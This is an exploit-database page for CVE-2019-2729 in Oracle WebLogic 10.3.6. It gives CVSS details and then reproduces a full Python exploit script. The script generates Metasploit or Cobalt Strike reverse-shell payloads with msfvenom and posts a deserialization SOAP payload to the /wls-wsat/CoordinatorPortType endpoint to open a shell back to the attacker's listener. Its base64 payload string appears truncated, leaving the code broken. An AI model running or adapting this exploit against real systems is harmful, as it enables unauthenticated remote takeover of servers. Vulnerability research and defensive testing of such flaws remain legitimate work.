Oracle Weblogic 10.3.6.0.0 Remote Command Execution
CVE
Category
Price
Severity
CVE-2019-2729
CWE-78
Unknown
High
Author
Risk
Exploitation Type
Date
Jang
High
Remote
2020-01-09
CPE
cpe:cpe:/a:oracle:weblogic_server:10.3.6.0.0
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020010073 Oracle Weblogic 10.3.6.0.0 Remote Command Execution # Exploit Title: Oracle Weblogic 10.3.6.0.0 - Remote Command Execution
# Date: 2020-01-08
# Exploit Author: Waffles & Paveway3
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0
# Tested on: Windows
# CVE : CVE-2019-2729
SerialLogic.py
# Exploit Title: SerialLogic
# Date: 01-08-2020
# Exploit Author: Waffles & Paveway3
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0
# Tested on: Windows
# CVE : CVE-2019-2729
import argparse
import requests
import sys
import os
import base64
# Colors for terminal output because I likes pretty things
class bcolors:
OKGREEN = '\033[92m'
BOLD = '\033[1m'
NONERED = '\033[91m'
ENDLINE = '\033[0m'
UNDERLINE = '\033[4m'
banner = """\n
_______ ________ ___ ____ _______ ___ ________ ____
/ ____/ | / / ____/ |__ \ / __ < / __ \ |__ \/__ /__ \/ __ \
/ / | | / / __/________/ // / / / / /_/ /_______/ / / /__/ / /_/ /
/ /___ | |/ / /__/_____/ __// /_/ / /\__, /_____/ __/ / // __/\__, /
\____/ |___/_____/ /____/\____/_//____/ /____/ /_//____/____/
"""
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument('-cs', dest='cobaltstrike', default=False, required=False, help="Use Cobalt Strike as callback", action='store_true')
parser.add_argument('-msf', dest='metasploit', default=False, required=False, help="Use Metasploit Handler as callback", action='store_true')
parser.add_argument('-rhost', dest='target_host', default='', required=True, help="Target Host")
parser.add_argument('-rport', dest='target_port', default='', required=True, help="Target Port")
parser.add_argument('-lhost', dest='listen_host', default='', required=True, help="Listening host IP for callback")
parser.add_argument('-lport', dest='listen_port', default='', required=True, help="Listening port for callback")
parser.add_argument('-ssl', dest='usessl', default=False, required=False, help="Use HTTPS instead of HTTP", action='store_true')
args = parser.parse_args()
print("\n")
# Assign user arguments to variables we can use
cobaltstrike = str(args.cobaltstrike)
metasploit = str(args.metasploit)
target_host = str(args.target_host)
target_port = str(args.target_port)
listen_host = str(args.listen_host)
listen_port = str(args.listen_port)
usessl = str(args.usessl)
if cobaltstrike == 'True':
cobaltstrike = True
else:
cobaltstrike = False
if metasploit == 'True':
metasploit = True
else:
metasploit = False
if usessl == 'True':
usessl = True
else:
usessl = False
if metasploit and not cobaltstrike:
os.system("msfvenom -p windows/meterpreter/reverse_tcp LHOST=" + listen_host + " LPORT=" + listen_port + " -f psh-cmd -o /tmp/CVE_2019_2729_MSF.txt > /dev/null 2>&1")
with open('/tmp/CVE_2019_2729_MSF.txt', 'r') as msfcmd:
the_cmd = msfcmd.read()
elif cobaltstrike and not metasploit:
os.system("msfvenom -p windows/meterpreter/reverse_http LHOST=" + listen_host + " LPORT=" + listen_port + " -f psh-cmd -o /tmp/CVE_2019_2729_CS.txt > /dev/null 2>&1")
with open('/tmp/CVE_2019_2729_CS.txt', 'r') as cscmd:
the_cmd = cscmd.read()
else:
print("Please try with ONE of the payload options.")
sys.exit()
headers = {
'Content-Type':'text/xml',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'SOAPAction':'',
'lfcmd':'' + the_cmd
}
data_pref = '<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <array method="forName"> <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string> <void>'
yss_payload = "CjxhcnJheSBjbGFzcz0iYnl0ZSIgbGVuZ3RoPSI2ODYyIj48dm9pZCBpbmRleD0iMTYwMSI+PGJ5dGU+MTAwPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMTM4MSI+PGJ5dGU+NjQ8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyODkzIj48Ynl0ZT42NTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjEyMzUiPjxieXRlPjk5PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMTE1Ij48Ynl0ZT4xMDg8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIxMDkyIj48Ynl0ZT4xMTU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyNjE5Ij48Ynl0ZT42NjwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjIwOTEiPjxieXRlPjcyPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNjM1NCI+PGJ5dGU+MTA8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyMTY0Ij48Ynl0ZT4xMTU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIxNTc4Ij48Ynl0ZT4xMDQ8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI4OTciPjxieXRlPjEwMTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjE2MjUiPjxieXRlPjEyPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNjY0MSI+PGJ5dGU+NzI8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI2MjYyIj48Ynl0ZT40NzwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjM3MCI+PGJ5dGU+MTA1PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMjIxNiI+PGJ5dGU+NzQ8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI1MTQ3Ij48Ynl0ZT4xMTY8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIxMjU1Ij48Ynl0ZT4xMDk8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyMDQiPjxieXRlPjEwMTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjE0ODQiPjxieXRlPjk3PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNDEwOCI+PGJ5dGU+NjU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIxNjQyIj48Ynl0ZT4xMTE8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI0MzE4Ij48Ynl0ZT4xMDU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI2NjUyIj48Ynl0ZT4yMTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjYzMjQiPjxieXRlPjI8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI0OTY1Ij48Ynl0ZT4xMDE8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI2MTcxIj48Ynl0ZT40OTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjM2NTIiPjxieXRlPjY1PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMTc4MyI+PGJ5dGU+MTA5PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMjc2NiI+PGJ5dGU+MTAwPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNTU5NCI+PGJ5dGU+MjwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9Ijk0MiI+PGJ5dGU+MTA4PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNDc4NiI+PGJ5dGU+NzY8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyMzU5Ij48Ynl0ZT4xMTk8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI1MzQxIj48Ynl0ZT4xMDU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI1MjkiPjxieXRlPjExMTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjE3NTkiPjxieXRlPjExODwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjMxNDgiPjxieXRlPjEwNDwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjUyNjkiPjxieXRlPjExMTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjU0MzIiPjxieXRlPjExNTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjIxMzkiPjxieXRlPjEwNTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjM2Ij48Ynl0ZT4tMzU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIzNTQ4Ij48Ynl0ZT44MjwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjQ3ODgiPjxieXRlPjk3PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMTU0MSI+PGJ5dGU+NTA8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI1ODgxIj48Ynl0ZT40PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNTk0NyI+PGJ5dGU+LTc0PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNTIzNSI+PGJ5dGU+OTc8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyMTQ0Ij48Ynl0ZT43MDwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjMzNjEiPjxieXRlPjEwNDwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjI5NDciPjxieXRlPjg3PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMjQwOCI+PGJ5dGU+MTA4PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNjE4MyI+PGJ5dGU+MTAxPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMTMyMCI+PGJ5dGU+NTA8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIxODEzIj48Ynl0ZT4xMDM8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyODA4Ij48Ynl0ZT4xMTI8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIyMDMiPjxieXRlPjgzPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNDI4NiI+PGJ5dGU+MTE1PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMTY4OSI+PGJ5dGU+NDE8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIzNTgwIj48Ynl0ZT42OTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjMxMjEiPjxieXRlPjQ4PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMzEwMCI+PGJ5dGU+NjU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI0MTQyIj48Ynl0ZT42NTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjUzNyI+PGJ5dGU+OTc8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIxNDE3Ij48Ynl0ZT4xMTU8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSI0NDk4Ij48Ynl0ZT41OTwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjE5MzciPjxieXRlPjY1PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMjk4NSI+PGJ5dGU+MTA0PC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iMTUwMCI+PGJ5dGU+MTAxPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRleD0iNTQ0NyI+PGJ5dGU+NTY8L2J5dGU+PC92b2lkPjx2b2lkIGluZGV4PSIzMzA0Ij48Ynl0ZT43MDwvYnl0ZT48L3ZvaWQ+PHZvaWQgaW5kZXg9IjUwOTciPjxieXRlPjczPC9ieXRlPjwvdm9pZD48dm9pZCBpbmRl
data = base64.b64decode(yss_payload)
data_payload = data_pref + data.decode()
if usessl:
attackurl = "https://" + str(target_host) + ":" + str(target_port) + str("/wls-wsat/CoordinatorPortType")
else:
attackurl = "http://" + str(target_host) + ":" + str(target_port) + str("/wls-wsat/CoordinatorPortType")
res = requests.post(attackurl, headers=headers, data=data_payload, timeout=10)
if cobaltstrike and not metasploit:
cmd_exec = "Cobalt Strike"
elif not cobaltstrike and metasploit:
cmd_exec = "Metasploit"
print(bcolors.OKGREEN + "[+] Command executed was a " + cmd_exec + " Payload, please check your console" + bcolors.ENDLINE)
print(bcolors.OKGREEN + "[+] Cleaning up...." + bcolors.ENDLINE)
if os.path.exists("/tmp/CVE_2019_2729_MSF.txt"):
os.remove("/tmp/CVE_2019_2729_MSF.txt")
elif os.path.exists("/tmp/CVE_2019_2729_CS.txt"):
os.remove("/tmp/CVE_2019_2729_CS.txt")
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